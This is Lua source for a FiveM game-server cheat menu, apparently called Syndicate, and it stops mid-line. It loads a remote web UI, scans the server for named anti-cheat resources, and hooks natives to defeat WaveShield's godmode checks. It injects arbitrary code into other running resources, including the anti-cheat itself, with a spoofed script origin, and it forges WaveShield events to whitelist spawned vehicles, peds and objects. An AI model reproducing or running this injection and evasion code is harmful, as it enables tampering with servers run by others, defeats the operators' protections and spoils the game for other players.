if type(_G.MainAPI) ~= "table" then _G.MainAPI = {} end _G.MainAPI.SafeRunNative = function(setFunc, ...) if type(setFunc) == "function" then return setFunc(...) elseif type(setFunc) == "string" and type(_G[setFunc]) == "function" then return _G[setFunc](...) end end local MainAPI = _G.MainAPI local isBypassActive local setBypassActive MainAPI.SafeRunNative = function(fn, ...) if type(fn) == "function" then return fn(...) end end -- Ensure LocalPlayer and its state bag are always defined to prevent nil indexing errors in sandbox routing if type(_G.LocalPlayer) ~= "table" or not _G.LocalPlayer.state or not _G.LocalPlayer.state.set then local ok, err = pcall(function() local playerServerId = GetPlayerServerId(PlayerId()) local bagName = string.format("player:%d", playerServerId) _G.LocalPlayer = { state = setmetatable({}, { __index = function(_, key) return GetStateBagValue(bagName, key) end, __newindex = function(_, key, value) if type(value) == "function" then return end SetStateBagValue(bagName, key, value, 0, false) end }) } function _G.LocalPlayer.state:set(key, value, replicated) if type(value) == "function" then return end SetStateBagValue(bagName, key, value, 0, replicated or false) end end) if not ok then _G.LocalPlayer = { state = setmetatable({}, { __index = function() return nil end, __newindex = function() end }) } function _G.LocalPlayer.state:set() end end end local Dui = MachoCreateDui('https://syndicatemenu.xyz/ui/') local MenuKey = "CAPS LOCK" local IsVisible = false local activeMenu = {} local activeIndex = 1 local nestedMenus = {} local currentTabs = nil local currentTabIndex = 0 local tabStateMap = {} local menuStateMap = {} local currentSubMenuRefresher = nil local createIndex local isDynamicSubMenu = false local isBusy = false local currentInputData = { title = "", Type = "", disc = "", buffer = "", cursorPos = 0, Active = false, inputJustClosed = false, inputJustOpened = false, selectAllActive = false, inputJustSubmitted = false, SetListerner = false, callback = nil, inputType = "typeable" } local modifiers = { shift = false, ctrl = false, alt = false } local keyStates = {} local lastTabIndices = {} local lastMainMenuIndex = 1 local navKeyUp = "ArrowUp" local navKeyDown = "ArrowDown" local menuPosX = 14.25 local menuPosY = 21.5 local menuScale = 110 local menuColorR = 255 local menuColorG = 255 local menuColorB = 255 local showKeybindListState = false local KeyMap = { [3] = "Cancel", [6] = "Help", [8] = "Backspace", [9] = "Tab", [12] = "Clear", [13] = "Enter", [16] = "Shift", [17] = "Ctrl", [18] = "Alt", [19] = "Pause", [20] = "CAPS LOCK", [21] = "IME Hangul", [23] = "IME Junja", [24] = "IME Final", [25] = "IME Hanja", [27] = "Escape", [28] = "Convert", [29] = "Non Convert", [30] = "Accept", [31] = "Mode Change", [32] = "Space", [33] = "PageUp", [34] = "PageDown", [35] = "End", [36] = "Home", [37] = "ArrowLeft", [38] = "ArrowUp", [39] = "ArrowRight", [40] = "ArrowDown", [45] = "Insert", [46] = "Delete", [47] = "Help", [48] = "0", [49] = "1", [50] = "2", [51] = "3", [52] = "4", [53] = "5", [54] = "6", [55] = "7", [56] = "8", [57] = "9", [65] = "A", [66] = "B", [67] = "C", [68] = "D", [69] = "E", [70] = "F", [71] = "G", [72] = "H", [73] = "I", [74] = "J", [75] = "K", [76] = "L", [77] = "M", [78] = "N", [79] = "O", [80] = "P", [81] = "Q", [82] = "R", [83] = "S", [84] = "T", [85] = "U", [86] = "V", [87] = "W", [88] = "X", [89] = "Y", [90] = "Z", [91] = "Left Windows", [92] = "Right Windows", [93] = "Select", [95] = "Sleep", [96] = "Numpad0", [97] = "Numpad1", [98] = "Numpad2", [99] = "Numpad3", [100] = "Numpad4", [101] = "Numpad5", [102] = "Numpad6", [103] = "Numpad7", [104] = "Numpad8", [105] = "Numpad9", [106] = "NumpadMultiply", [107] = "NumpadAdd", [108] = "NumpadEnter", [109] = "NumpadSubtract", [110] = "NumpadDecimal", [111] = "NumpadDivide", [112] = "F1", [113] = "F2", [114] = "F3", [115] = "F4", [116] = "F5", [117] = "F6", [118] = "F7", [119] = "F8", [120] = "F9", [121] = "F10", [122] = "F11", [123] = "F12", [124] = "F13", [125] = "F14", [126] = "F15", [127] = "F16", [128] = "F17", [129] = "F18", [130] = "F19", [131] = "F20", [132] = "F21", [133] = "F22", [134] = "F23", [135] = "F24", [144] = "Num Lock", [145] = "Scroll Lock", [160] = "Left Shift", [161] = "Right Shift", [162] = "Left Ctrl", [163] = "Right Ctrl", [164] = "Left Alt", [165] = "Right Alt", [166] = "Browser Back", [167] = "Browser Forward", [168] = "Browser Refresh", [169] = "Browser Stop", [170] = "Browser Search", [171] = "Browser Favorites", [172] = "Browser Home", [173] = "Volume Mute", [174] = "Volume Down", [175] = "Volume Up", [176] = "Media Next", [177] = "Media Previous", [178] = "Media Stop", [179] = "Media Play/Pause", [180] = "Launch Mail", [181] = "Select Media", [182] = "Launch App 1", [183] = "Launch App 2", [186] = ";", [187] = "=", [188] = ",", [189] = "-", [190] = ".", [191] = "/", [192] = "`", [219] = "[", [220] = "\\", [221] = "]", [222] = "'", [226] = "OEM 102" } local ShiftMap = { ["1"] = "!", ["2"] = "@", ["3"] = "#", ["4"] = "$", ["5"] = "%", ["6"] = "^", ["7"] = "&", ["8"] = "*", ["9"] = "(", ["0"] = ")", [";"] = ":", ["="] = "+", [","] = "<", ["-"] = "_", ["."] = ">", ["/"] = "?", ["`"] = "~", ["["] = "{", ["\\"] = "|", ["]"] = "}", ["'"] = '"', ["A"] = "A", ["B"] = "B", ["C"] = "C", ["D"] = "D", ["E"] = "E", ["F"] = "F", ["G"] = "G", ["H"] = "H", ["I"] = "I", ["J"] = "J", ["K"] = "K", ["L"] = "L", ["M"] = "M", ["N"] = "N", ["O"] = "O", ["P"] = "P", ["Q"] = "Q", ["R"] = "R", ["S"] = "S", ["T"] = "T", ["U"] = "U", ["V"] = "V", ["W"] = "W", ["X"] = "X", ["Y"] = "Y", ["Z"] = "Z" } local function scanForAntiCheat() local knownAC = { ["fiveguard"] = "FiveGuard AC", ["fiveeye"] = "FiveEye AC", ["wave"] = "Wave Anti-Cheat", ["phoenix"] = "Phoenix AC", ["reaper"] = "Reaper AC", ["chocolat"] = "Chocolat AC", ["saltyac"] = "SaltyAC", ["salty_ac"] = "SaltyAC", ["easyadmin"] = "EasyAdmin Protection", ["badger-ac"] = "Badger Anticheat", ["badgerac"] = "Badger Anticheat", ["txadmin"] = "txAdmin Admin/AC", ["qb-anticheat"] = "QB-Core AntiCheat", ["esx_anticheat"] = "ESX AntiCheat", ["anticheat"] = "Generic Anti-Cheat", ["shield"] = "Shield AC", ["specter"] = "Specter AC", ["electron"] = "Electron AC", ["eagle"] = "Eagle AC" } local detected = {} local totalRes = 0 pcall(function() totalRes = GetNumResources() or 0 end) for i = 0, totalRes - 1 do pcall(function() local resName = GetResourceByFindIndex(i) if resName and type(resName) == "string" and resName ~= "" then local lowerName = resName:lower() for key, desc in pairs(knownAC) do if lowerName:find(key, 1, true) then detected[#detected + 1] = { name = resName, type = desc } break end end end end) end return detected end local function ShowUI() if not Dui then return end if currentInputData.Active then return end IsVisible = true MachoSendDuiMessage(Dui, json.encode({ action = "setVisible", visible = true })) end local function HideUI() if not Dui then return end IsVisible = false MachoSendDuiMessage(Dui, json.encode({ action = "setVisible", visible = false })) end local function setCurrent(sendMenu) if sendMenu == nil then sendMenu = true end if activeMenu and #activeMenu > 0 then if type(activeIndex) ~= "number" or activeIndex < 1 or activeIndex > #activeMenu then activeIndex = 1 end else activeIndex = 1 end if Dui then local payload = { action = "setCurrent", current = activeIndex, menu = activeMenu, visible = IsVisible } if _G.CustomBannerUrl and _G.CustomBannerUrl ~= "" then payload.banner = _G.CustomBannerUrl payload.customBannerUrl = _G.CustomBannerUrl end MachoSendDuiMessage(Dui, json.encode(payload)) end end local function SendDuiPayload(payload) if Dui then if _G.CustomBannerUrl and _G.CustomBannerUrl ~= "" then payload.banner = _G.CustomBannerUrl payload.customBannerUrl = _G.CustomBannerUrl end MachoSendDuiMessage(Dui, json.encode(payload)) end end local function SendSvelte(action, data) if not Dui then return end data.action = action MachoSendDuiMessage(Dui, json.encode(data)) end local function showNotify(message, type) SendSvelte("notify", { message = message, type = type }) end _G.showNotify = showNotify local function pushBuffer() SendSvelte("setInputText", { value = currentInputData.buffer, cursor = currentInputData.cursorPos }) end local function clearBuffer() currentInputData.buffer = "" currentInputData.cursorPos = 0 currentInputData.selectAllActive = false pushBuffer() end local function FindWaveShieldResource() local wsResource = nil for i = 0, GetNumResources() - 1 do local res = GetResourceByFindIndex(i) if res and GetResourceState(res) == "started" then local isWS = false local lowerRes = string.lower(res) if string.find(lowerRes, "waveshield") then isWS = true end if not isWS then for j = 0, GetNumResourceMetadata(res, "client_script") - 1 do local file = GetResourceMetadata(res, "client_script", j) if file and (string.find(file, "waveshield") or string.find(file, "clientMain")) then isWS = true break end end end if isWS then wsResource = res break end end end return wsResource end -- // WaveShield SetEntityInvincible godmode bypass (from inferno.lua) if GetResourceState("WaveShield") == "started" then if type(MachoHookNative) == "function" then MachoHookNative(0xFF059E1E4C01E63C, function(ped) local me = PlayerPedId() if ped == me or (type(IsOurPed) == "function" and IsOurPed(ped)) then return false, 28 end return true end) MachoHookNative(0x7C814D2FB49F40C0, function() return false, true end) end end local function SyndicateExecTrigger(resName, codeStr) local wsActive = isBypassActive and isBypassActive("WaveShield") local wsResource = wsActive and ((type(GetWSResourceName) == "function" and GetWSResourceName())) local reaperActive = isBypassActive and (isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD")) local reaperResource = reaperActive and (FindReaperResource and FindReaperResource()) if wsActive and wsResource and wsResource ~= "WaveShield" and GetResourceState(wsResource) == 'started' and type(MachoInjectResource2) == "function" then local fullCode = string.format([=[ if not _G.QKSLQ then _G.QKSLQ = function(setFunc, ...) if type(setFunc) == "function" then local stateName = math.random(999999, 999999999)..GetCurrentResourceName()..GetGameTimer() pcall(function() LocalPlayer.state:set(stateName, setFunc, false) end) if LocalPlayer.state and LocalPlayer.state[stateName] then return LocalPlayer.state[stateName](...) else return setFunc(...) end end end end pcall(function() %s end) ]=], codeStr) pcall(function() MachoInjectResource2(3, wsResource, fullCode) end) elseif reaperActive and reaperResource and GetResourceState(reaperResource) == 'started' and type(MachoInjectResource2) == "function" then local fullCode = string.format([=[ if not _G.QKSLQ then _G.QKSLQ = function(f, ...) if type(f) == "function" then return f(...) end end end pcall(function() %s end) ]=], codeStr) -- Try mode 3 (inject into running thread) first, fall back to mode 2 (next tick) -- If BOTH fail, abort silently — never fall through to monitor (Reaper detects that) local ok3 = false pcall(function() ok3 = MachoInjectResource2(3, reaperResource, fullCode) end) if not ok3 then pcall(function() MachoInjectResource2(2, reaperResource, fullCode) end) end else -- General / Electron fallback: execute inside target resource or monitor with scheduler.lua stack spoofing local fullCode = string.format([=[ if not _G.QKSLQ then _G.QKSLQ = function(f, ...) if type(f) == "function" then return f(...) end end end pcall(function() %s end) ]=], codeStr) local targetRes = (resName and resName ~= "monitor" and GetResourceState and GetResourceState(resName) == "started") and resName or "monitor" pcall(function() if type(MachoInjectResourceScriptOverride) == "function" then MachoInjectResourceScriptOverride(1, targetRes, fullCode, '@citizen:/scripting/lua/scheduler.lua', 1, 999) elseif type(MachoInjectResource2) == "function" then MachoInjectResource2(3, targetRes, fullCode) else MachoInjectResourceRaw(targetRes, fullCode) end end) end end local function injectCode(resource, code) local setCode = [[ if type(_G.MainAPI) ~= "table" then _G.MainAPI = {} end if not _G.MainAPI.SafeRunNative then _G.MainAPI.SafeRunNative = function(fn, ...) if type(fn) == "function" then return fn(...) end end end local MainAPI = _G.MainAPI local safeRun = (_G.MainAPI and _G.MainAPI.SafeRunNative) or _G.WS_RunSafeFunc or function(fn, ...) if type(fn) == "function" then return fn(...) end end local function SafeWrap(fn) return function(...) if type(fn) == "function" then return fn(...) end end end local function GetWSResourceName() local found = nil pcall(function() if GlobalState and GlobalState.WaveShield_ServerResources then local status, resTable = pcall(json.decode, GlobalState.WaveShield_ServerResources) if status and type(resTable) == "table" then for resName, _ in pairs(resTable) do if type(resName) == "string" and resName ~= "" then found = resName return end end end end if not found then for i = 0, GetNumResources() - 1 do local r = GetResourceByFindIndex(i) if r and GetResourceState(r) == "started" then local lr = string.lower(r) if string.find(lr, "waveshield") then found = r return end end end end end) return found or "WaveShield" end local wsName = GetWSResourceName() local MachoWhitelistedHashes = {} pcall(function() local reg = rawget(_G, "RegisterNetEvent") or _G.RegisterNetEvent local add = rawget(_G, "AddEventHandler") or _G.AddEventHandler if type(reg) == "function" then reg("_ws:cb") end if type(add) == "function" then add("_ws:cb", function(modelHash, timer) if type(modelHash) == "number" then MachoWhitelistedHashes[modelHash] = true end end) end end) local function TriggerServerEvent(eventName, ...) local fn = rawget(_G, "TriggerServerEvent") or _G.TriggerServerEvent if type(fn) == "function" then if _G.WS_RunSafeFunc then return _G.WS_RunSafeFunc(SafeWrap(fn), eventName, ...) else return fn(eventName, ...) end end end local function TriggerEvent(eventName, ...) local fn = rawget(_G, "TriggerEvent") or _G.TriggerEvent if type(fn) == "function" then if _G.WS_RunSafeFunc then return _G.WS_RunSafeFunc(SafeWrap(fn), eventName, ...) else return fn(eventName, ...) end end end local function GiveWeaponToPed(ped, ...) local fn = rawget(_G, "GiveWeaponToPed") or _G.GiveWeaponToPed if type(fn) == "function" then if _G.WS_RunSafeFunc then return _G.WS_RunSafeFunc(SafeWrap(fn), ped, ...) else return fn(ped, ...) end end end local function RemoveAllPedWeapons(ped, ...) local fn = rawget(_G, "RemoveAllPedWeapons") or _G.RemoveAllPedWeapons if type(fn) == "function" then if _G.WS_RunSafeFunc then return _G.WS_RunSafeFunc(SafeWrap(fn), ped, ...) else return fn(ped, ...) end end end local function RemoveWeaponFromPed(ped, ...) local fn = rawget(_G, "RemoveWeaponFromPed") or _G.RemoveWeaponFromPed if type(fn) == "function" then if _G.WS_RunSafeFunc then return _G.WS_RunSafeFunc(SafeWrap(fn), ped, ...) else return fn(ped, ...) end end end local function SetPlayerModel(player, model) pcall(function() local res = GetWSResourceName() if exports and exports[res] then if type(exports[res]["hasChangedPedModel"]) == "function" then pcall(function() exports[res]["hasChangedPedModel"](nil, model) end) pcall(function() exports[res]:hasChangedPedModel(model) end) end end TriggerEvent("__WaveShield:hasChangedPedModel", model) end) if type(Wait) == "function" then Wait(200) end local fn = rawget(_G, "SetPlayerModel") or _G.SetPlayerModel if type(fn) == "function" then if _G.WS_RunSafeFunc then return _G.WS_RunSafeFunc(SafeWrap(fn), player, model) else return fn(player, model) end end end local function ShootSingleBulletBetweenCoords(...) local fn = rawget(_G, "ShootSingleBulletBetweenCoords") or _G.ShootSingleBulletBetweenCoords if type(fn) == "function" then if _G.WS_RunSafeFunc then return _G.WS_RunSafeFunc(SafeWrap(fn), ...) else return fn(...) end end end local function NetworkSetEntityInvisibleToNetwork(e, toggle) local fn = rawget(_G, "NetworkSetEntityInvisibleToNetwork") or _G.NetworkSetEntityInvisibleToNetwork if type(fn) == "function" then if _G.WS_RunSafeFunc then return _G.WS_RunSafeFunc(SafeWrap(fn), e, toggle) else return fn(e, toggle) end end end local function CreateObject(model, x, y, z, isNetwork, netMission, doorFlag) local fn = rawget(_G, "WS_SpawnObject") or _G.WS_SpawnObject if type(fn) == "function" then return fn(model, x, y, z, isNetwork, netMission, doorFlag) end local hash = type(model) == 'number' and model or GetHashKey(model) if isBypassActive and isBypassActive("WaveShield") then pcall(function() local res = (type(GetWSResourceName) == "function" and GetWSResourceName()) or "WaveShield" TriggerServerEvent("__WaveShield:CreateEntity", hash, "GetClosestObjectOfType", res) TriggerServerEvent("__WaveShield:CreateEntity", hash, "SpawnEntity", res) end) local timeout = 0 while not MachoWhitelistedHashes[hash] and timeout < 100 do if type(Wait) == "function" then Wait(10) else break end timeout = timeout + 1 end end local rawFn = rawget(_G, "CreateObject") or _G.CreateObject if type(rawFn) == "function" then if not HasModelLoaded(hash) then RequestModel(hash) local timeout = 0 while not HasModelLoaded(hash) and timeout < 3000 do if type(Wait) == "function" then Wait(10) else break end timeout = timeout + 10 end end if _G.WS_RunSafeFunc then return _G.WS_RunSafeFunc(SafeWrap(rawFn), hash, x, y, z, isNetwork ~= false, netMission ~= false, doorFlag or false) else return rawFn(hash, x, y, z, isNetwork ~= false, netMission ~= false, doorFlag or false) end end return 0 end local function CreateVehicle(model, x, y, z, heading, isNetwork, netMission) if not x or (x == 0.0 and y == 0.0 and z == 0.0) then local ped = PlayerPedId() if ped and ped ~= 0 then local c = GetEntityCoords(ped) x, y, z = c.x, c.y, c.z heading = GetEntityHeading(ped) end end local fn = rawget(_G, "WS_SpawnVehicle") or _G.WS_SpawnVehicle if type(fn) == "function" then return fn(model, x, y, z, heading, isNetwork, netMission) end local hash = type(model) == 'number' and model or GetHashKey(model) local wsResource = (type(GetWSResourceName) == "function" and GetWSResourceName()) or nil local wsActive = wsResource and type(GetResourceState) == "function" and GetResourceState(wsResource) == "started" if wsActive and wsResource and GetResourceState(wsResource) == 'started' and type(MachoInjectResource2) == "function" then local vx, vy, vz, vh = x or 0.0, y or 0.0, z or 0.0, heading or 0.0 local spawnCode = string.format([=[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local modelHash = %d local x, y, z, head = %.4f, %.4f, %.4f, %.4f local ped = SafeNative(PlayerPedId) local resourceName = SafeNative(GetCurrentResourceName) SafeNative(RequestModel, modelHash) local timeout = 0 while not SafeNative(HasModelLoaded, modelHash) and timeout < 5000 do Wait(100) timeout = timeout + 100 end if SafeNative(HasModelLoaded, modelHash) then pcall(function() SafeNative(TriggerServerEvent, "__WaveShield:CreateEntity", modelHash, "SpawnEntity", resourceName) end) Wait(200) local veh = SafeNative(Citizen.InvokeNative, 0xAF35D0D2583051B0, modelHash, x, y, z, head, true, false) if veh and veh ~= 0 then SafeNative(SetPedIntoVehicle, ped, veh, -1) SafeNative(SetEntityAsMissionEntity, veh, true, true) SafeNative(SetVehicleHasBeenOwnedByPlayer, veh, true) end SafeNative(SetModelAsNoLongerNeeded, modelHash) end ]=], hash, vx, vy, vz, vh) MachoInjectResource2(3, wsResource, spawnCode) return 1 end -- Standard Fallback Spawn for No AC or other ACs local rawFn = rawget(_G, "CreateVehicle") or _G.CreateVehicle if type(rawFn) == "function" then local vx, vy, vz, vh = x or 0.0, y or 0.0, z or 0.0, heading or 0.0 RequestModel(hash) local timeout = 0 while not HasModelLoaded(hash) and timeout < 5000 do if type(Wait) == "function" then Wait(50) else break end timeout = timeout + 50 end if HasModelLoaded(hash) then local ped = PlayerPedId() local veh = rawFn(hash, vx, vy, vz, vh, isNetwork ~= false, netMission ~= false) if veh and veh ~= 0 then if ped and ped ~= 0 then SetPedIntoVehicle(ped, veh, -1) end SetEntityAsMissionEntity(veh, true, true) SetVehicleHasBeenOwnedByPlayer(veh, true) SetModelAsNoLongerNeeded(hash) return veh end end end return 0 end local function CreatePed(typeIdx, model, x, y, z, heading, isNetwork, netMission) local fn = rawget(_G, "WS_SpawnPed") or _G.WS_SpawnPed if type(fn) == "function" then return fn(model, x, y, z, heading) end local hash = type(model) == 'number' and model or GetHashKey(model) local wsActive = isBypassActive and isBypassActive("WaveShield") local wsResource = wsActive and ((type(GetWSResourceName) == "function" and GetWSResourceName())) if wsActive and wsResource and GetResourceState(wsResource) == 'started' and type(MachoInjectResource2) == "function" then local px, py, pz, ph = x or 0.0, y or 0.0, z or 0.0, heading or 0.0 local tIdx = typeIdx or 4 local spawnCode = string.format([=[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local modelHash = %d local x, y, z, head = %.4f, %.4f, %.4f, %.4f local resourceName = SafeNative(GetCurrentResourceName) SafeNative(RequestModel, modelHash) local timeout = 0 while not SafeNative(HasModelLoaded, modelHash) and timeout < 5000 do Wait(100) timeout = timeout + 100 end if SafeNative(HasModelLoaded, modelHash) then pcall(function() SafeNative(TriggerServerEvent, "__WaveShield:CreateEntity", modelHash, "SpawnEntity", resourceName) end) Wait(200) local pedHandle = SafeNative(Citizen.InvokeNative, 0xD49F9B0955C367DE, %d, modelHash, x, y, z, head, true, false) if pedHandle and pedHandle ~= 0 then SafeNative(SetPedDefaultComponentVariation, pedHandle) SafeNative(SetEntityAsMissionEntity, pedHandle, true, true) SafeNative(SetBlockingOfNonTemporaryEvents, pedHandle, true) end SafeNative(SetModelAsNoLongerNeeded, modelHash) end ]=], hash, px, py, pz, ph, tIdx) MachoInjectResource2(3, wsResource, spawnCode) return 1 end -- Standard Fallback Spawn for No AC or other ACs local rawFn = rawget(_G, "CreatePed") or _G.CreatePed if type(rawFn) == "function" then local px, py, pz, ph = x or 0.0, y or 0.0, z or 0.0, heading or 0.0 local tIdx = typeIdx or 4 RequestModel(hash) local timeout = 0 while not HasModelLoaded(hash) and timeout < 5000 do if type(Wait) == "function" then Wait(50) else break end timeout = timeout + 50 end if HasModelLoaded(hash) then local pedHandle = rawFn(tIdx, hash, px, py, pz, ph, isNetwork ~= false, netMission ~= false) if pedHandle and pedHandle ~= 0 then SetPedDefaultComponentVariation(pedHandle) SetEntityAsMissionEntity(pedHandle, true, true) SetBlockingOfNonTemporaryEvents(pedHandle, true) SetModelAsNoLongerNeeded(hash) return pedHandle end end end return 0 end local function DoesEntityExist(e) if not e or type(e) ~= "number" or e == 0 then return false end local fn = rawget(_G, "DoesEntityExist") or _G.DoesEntityExist if type(fn) == "function" then return fn(e) end return false end local function DeleteEntity(e) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "DeleteEntity") or _G.DeleteEntity if type(fn) == "function" then return fn(e) end end local function SetEntityCoordsNoOffset(e, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "SetEntityCoordsNoOffset") or _G.SetEntityCoordsNoOffset if type(fn) == "function" then return fn(e, ...) end end local function SetEntityCoords(e, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "SetEntityCoords") or _G.SetEntityCoords if type(fn) == "function" then return fn(e, ...) end end local function AttachEntityToEntity(e1, e2, ...) if not e1 or type(e1) ~= "number" or e1 == 0 or not DoesEntityExist(e1) then return end if not e2 or type(e2) ~= "number" or e2 == 0 or not DoesEntityExist(e2) then return end local fn = rawget(_G, "AttachEntityToEntity") or _G.AttachEntityToEntity if type(fn) == "function" then return fn(e1, e2, ...) end end local function AttachEntityToEntityPhysically(e1, e2, ...) if not e1 or type(e1) ~= "number" or e1 == 0 or not DoesEntityExist(e1) then return end if not e2 or type(e2) ~= "number" or e2 == 0 or not DoesEntityExist(e2) then return end local fn = rawget(_G, "AttachEntityToEntityPhysically") or _G.AttachEntityToEntityPhysically if type(fn) == "function" then return fn(e1, e2, ...) end end local function DetachEntity(e, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "DetachEntity") or _G.DetachEntity if type(fn) == "function" then return fn(e, ...) end end local function ApplyForceToEntity(e, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "ApplyForceToEntity") or _G.ApplyForceToEntity if type(fn) == "function" then return fn(e, ...) end end local function NetworkSetInSpectatorMode(toggle, ped) if toggle then if not ped or type(ped) ~= "number" or ped == 0 or not DoesEntityExist(ped) then return end end local fn = rawget(_G, "NetworkSetInSpectatorMode") or _G.NetworkSetInSpectatorMode if type(fn) == "function" then return fn(toggle, ped or PlayerPedId()) end end local function TaskWarpPedIntoVehicle(ped, veh, seat) if not ped or type(ped) ~= "number" or ped == 0 or not DoesEntityExist(ped) then return end if not veh or type(veh) ~= "number" or veh == 0 or not DoesEntityExist(veh) then return end local fn = rawget(_G, "TaskWarpPedIntoVehicle") or _G.TaskWarpPedIntoVehicle if type(fn) == "function" then return fn(ped, veh, seat) end end local function SetPedIntoVehicle(ped, veh, seat) if not ped or type(ped) ~= "number" or ped == 0 or not DoesEntityExist(ped) then return end if not veh or type(veh) ~= "number" or veh == 0 or not DoesEntityExist(veh) then return end local fn = rawget(_G, "SetPedIntoVehicle") or _G.SetPedIntoVehicle if type(fn) == "function" then return fn(ped, veh, seat) end end local function BreakOffVehicleWheel(veh, ...) if not veh or type(veh) ~= "number" or veh == 0 or not DoesEntityExist(veh) then return end local fn = rawget(_G, "BreakOffVehicleWheel") or _G.BreakOffVehicleWheel if type(fn) == "function" then return fn(veh, ...) end end local function SetVehicleWheelsCanBreak(veh, toggle) if not veh or type(veh) ~= "number" or veh == 0 or not DoesEntityExist(veh) then return end local fn = rawget(_G, "SetVehicleWheelsCanBreak") or _G.SetVehicleWheelsCanBreak if type(fn) == "function" then return fn(veh, toggle) end end local function SetVehicleTyresCanBurst(veh, toggle) if not veh or type(veh) ~= "number" or veh == 0 or not DoesEntityExist(veh) then return end local fn = rawget(_G, "SetVehicleTyresCanBurst") or _G.SetVehicleTyresCanBurst if type(fn) == "function" then return fn(veh, toggle) end end local function SetVehicleTyreBurst(veh, wheelIndex, completely, damage) if not veh or type(veh) ~= "number" or veh == 0 or not DoesEntityExist(veh) then return end local fn = rawget(_G, "SetVehicleTyreBurst") or _G.SetVehicleTyreBurst if type(fn) == "function" then return fn(veh, wheelIndex, completely, damage or 1000.0) end end local function GetVehiclePedIsIn(ped, includeLast) if not ped or type(ped) ~= "number" or ped == 0 or not DoesEntityExist(ped) then return 0 end local fn = rawget(_G, "GetVehiclePedIsIn") or _G.GetVehiclePedIsIn if type(fn) == "function" then return fn(ped, includeLast or false) end return 0 end local function TaskLeaveAnyVehicle(ped, ...) if not ped or type(ped) ~= "number" or ped == 0 or not DoesEntityExist(ped) then return end local fn = rawget(_G, "TaskLeaveAnyVehicle") or _G.TaskLeaveAnyVehicle if type(fn) == "function" then return fn(ped, ...) end end local function SetEntityVelocity(e, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "SetEntityVelocity") or _G.SetEntityVelocity if type(fn) == "function" then return fn(e, ...) end end local function SetEntityHeading(e, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "SetEntityHeading") or _G.SetEntityHeading if type(fn) == "function" then return fn(e, ...) end end local function SetEntityCollision(e, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "SetEntityCollision") or _G.SetEntityCollision if type(fn) == "function" then return fn(e, ...) end end local function SetEntityInvincible(e, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "SetEntityInvincible") or _G.SetEntityInvincible if type(fn) == "function" then return fn(e, ...) end end local function GetClosestVehicle(...) local fn = rawget(_G, "GetClosestVehicle") or _G.GetClosestVehicle if type(fn) == "function" then return fn(...) end return 0 end local function NetworkHasControlOfEntity(e) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return false end local fn = rawget(_G, "NetworkHasControlOfEntity") or _G.NetworkHasControlOfEntity if type(fn) == "function" then return fn(e) end return false end local function NetworkRequestControlOfEntity(e) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "NetworkRequestControlOfEntity") or _G.NetworkRequestControlOfEntity if type(fn) == "function" then return fn(e) end end local function SetEntityVisible(e, toggle, ...) if not e or type(e) ~= "number" or e == 0 or not DoesEntityExist(e) then return end local fn = rawget(_G, "SetEntityVisible") or _G.SetEntityVisible if type(fn) == "function" then return fn(e, toggle, ...) end end local function ClearPedTasksImmediately(p) if not p or type(p) ~= "number" or p == 0 or not DoesEntityExist(p) then return end local fn = rawget(_G, "ClearPedTasksImmediately") or _G.ClearPedTasksImmediately if type(fn) == "function" then return fn(p) end end local function ClearPedTasks(p) if not p or type(p) ~= "number" or p == 0 or not DoesEntityExist(p) then return end local fn = rawget(_G, "ClearPedTasks") or _G.ClearPedTasks if type(fn) == "function" then return fn(p) end end local function SetFocusArea(x, y, z, offsetX, offsetY, offsetZ) local fn = rawget(_G, "SetFocusArea") or _G.SetFocusArea if type(fn) == "function" then return fn(x, y, z, offsetX or 0.0, offsetY or 0.0, offsetZ or 0.0) end end local function SetFocusPosAndVel(x, y, z, vx, vy, vz) local fn = rawget(_G, "SetFocusPosAndVel") or _G.SetFocusPosAndVel if type(fn) == "function" then return fn(x, y, z, vx or 0.0, vy or 0.0, vz or 0.0) end end local function ClearFocus() local fn = rawget(_G, "ClearFocus") or _G.ClearFocus if type(fn) == "function" then return fn() end end local function NetworkSetListenerReorient(x, y, z, fx, fy, fz, ux, uy, uz) local fn = rawget(_G, "NetworkSetListenerReorient") or _G.NetworkSetListenerReorient if type(fn) == "function" then return fn(x, y, z, fx or 0.0, fy or 0.0, fz or 1.0, ux or 0.0, uy or 0.0, uz or 1.0) end end local function NetworkSetTalkerProximity(dist) local fn = rawget(_G, "NetworkSetTalkerProximity") or _G.NetworkSetTalkerProximity if type(fn) == "function" then return fn(dist) end end local function MumbleSetAudioInputDistance(dist) local fn = rawget(_G, "MumbleSetAudioInputDistance") or 